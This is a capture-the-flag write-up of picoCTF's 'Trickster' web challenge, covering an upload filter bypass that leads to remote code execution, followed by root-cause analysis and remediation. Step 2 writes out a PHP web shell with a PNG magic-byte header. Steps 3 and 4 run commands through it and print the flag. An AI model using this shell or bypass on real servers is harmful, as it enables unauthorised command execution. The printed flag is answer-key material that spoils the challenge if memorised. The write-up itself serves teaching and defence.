

Trickster – Remote Code Execution via File Upload Bypass & Content Inspection Flaw

1. Challenge Information

- Platform: picoCTF (2024)
- **Category:** Web Exploitation
- Difficulty: Medium
- Link: <https://learn.cylabacademy.org/library/445?page=2&category=1&difficulty=2>
- **Vulnerability Type:** Insecure File Upload $\rightarrow$ Remote Code Execution (RCE)
- **Primary Issues:** Weak Extension Check & Shallow Content Inspection (Magic Bytes)
- Related Standards:
 - + OWASP A03:2021-Injection
 - + OWASP A04:2021-Insecure Design
 - + CWE-434: Unrestricted File Upload

2. Executive Summary

The Trickster challenge demonstrates how a web application's file upload interface can be compromised when it relies on **flawed multi-layered validation**. The application attempts to enforce a "PNG images only" policy by checking for the **.png substring** in the filename and validating the **presence of PNG Magic Bytes** (89 50 4E 47) at the beginning of the file.

However, because the server **reads the file extension naively** and **performs shallow content verification**, an attacker can forge a hybrid file named test_header.png.php. By overlaying a valid PNG hexadecimal header onto an executable PHP web shell payload, the file bypasses both checks. Once uploaded, direct execution of the script yields complete Remote Code Execution (RCE), allowing access to sensitive host directory flags.

3. Reconnaissance & Enumeration

Interface Discovery: Accessing the target web application reveals a single function portal: "Welcome to my PNG processing app".

Hidden Directory Mapping: Reviewing the robots.txt file exposes two disallowed locations:
/uploads/ (The storage directory for submitted assets)
/instructions.txt (The validation specifications)

Analyzing Constraints: Inspecting /instructions.txt explicitly leaks the validation logic:

- The filename must contain the .png extension.
- The first few bytes must match the hexadecimal signature of a PNG file (50 4E 47 / 89 50 4E 47 0D 0A 1A 0A).

4. Exploitation & Attack Vector (The test_header.png.php Pipeline)

Step 1: Initial Logic Probe (Identifying the ASCII Trigger)

When uploading a raw PHP file containing an unformatted character string like "a", the server halts execution and returns a strict error:

Error: The file is not a valid PNG image: 61

The number 61 is the decimal representation of the ASCII character "a". This confirms the server checks the file's binary stream bytes but acts as a **shallow filter** that only verifies the file's opening sequence rather than performing a heavy image re-encoding or structural block validation.

Step 2: Crafting the Hybrid Payload

To pass the constraints, the **file name must include .png** but end in .php so the Apache backend routes it to the PHP execution handler (payload.png.php). The payload must **contain the 8-byte PNG header** instantly followed by the PHP system call code.

We compile the artifact natively using the following command:

```
echo -n -e "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A<?php system(\$_GET['cmd']); ?>" > payload.png.php
```

Step 3: Triggering Remote Code Execution (RCE)

- **Upload Execution:** Uploading payload.png.php returns a positive message confirming successful storage.
- **Accessing the Target Route:** Direct access to /uploads/ throws a 403 Forbidden error because directory listing is disabled on the server. However, we can bypass this by executing the file explicitly via its absolute path:
http://<TARGET_IP>:<PORT>/uploads/test_header.png.php?cmd=whoami
- **Privilege Discovery:** The web browser compiles the file, ignores the binary headers, and outputs www-data, signifying a successful arbitrary command shell vector.

Step 4: Tracking and Retrieving the Flag

Using the established RCE pipeline, a layout scan is performed:

Command:

[?cmd=ls -la /var/www/html](#)

Server Response:

total 16

drwxrwxrwt 1 www-data www-data 21 Mar 11 2024 .

drwxr-xr-x 1 root root 18 Nov 21 2023 ..

-rw-r--r-- 1 root root 49 Mar 11 2024 **GNTDOMBWGIZDE.txt**

-rw-r--r-- 1 root root 1572 Feb 7 2024 index.php

-rw-r--r-- 1 root root 415 Feb 7 2024 instructions.txt

Author: Alex Ngo

```
-rw-r--r-- 1 root    root      62 Feb  7 2024 robots.txt
drwxr-xr-x 1 www-data root      33 Jul 28 09:30 uploads
```

The unusual 49-byte text file named **GNTDOMBWGIZDE.txt** is discovered in the root application workspace. Running a final cat payload extracts the objective:

Command:

?cmd=cat /var/www/html/GNTDOMBWGIZDE.txt

FLAG: picoCTF{c3rt!fi3d_Xp3rt_tr1ckst3r_d3ac625b}

5. Root Cause Analysis

- **Weak Extension Sanitization:** The server checks for the presence of .png anywhere in the string using loose matches rather than checking if the file strictly ends with the .png extension.
- **Incomplete Content Inspection:** The verification system is satisfied just by analyzing the first 8 file bytes (Magic Bytes), neglecting to validate whether the rest of the file layout conforms to standard compressed image formats.
- **Executable Execution Context:** The /uploads/ asset folder allows script interpretation engine processing, permitting files to be executed directly as servers-side operations instead of strict read-only media rendering.

6. Remediation & Best Practices

- **Implement Strict Extension Whitelisting:** Use regular expressions or rigorous functions like pathinfo() to guarantee that the file ends natively with an approved image format.

```
$extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
if (!in_array($extension, ['png', 'jpg', 'jpeg', 'gif'])) {
    die("Invalid Extension"); }
```

- **Enforce Image Re-Encoding:** Pass all files into deep processing graphics packages (like PHP GD library or ImageMagick) to rebuild/re-render the pixels from scratch. This process automatically drops metadata zones and unaligned binary payloads.
- **Turn Off Script Handlers in Storage Zones:** Explicitly write access configurations to disable script code engines across raw upload storage buckets. For Apache systems, inject a .htaccess ruleset or modify global directories:

```
RemoveHandler .php .phtml .php5
php_admin_flag engine off
```

- **Abstract File Naming Mechanisms:** Avoid rendering user-controlled string inputs onto server structural file systems. Rename each upload asset into randomized hashes (e.g., MD5 hashes) and store asset pathways isolated securely.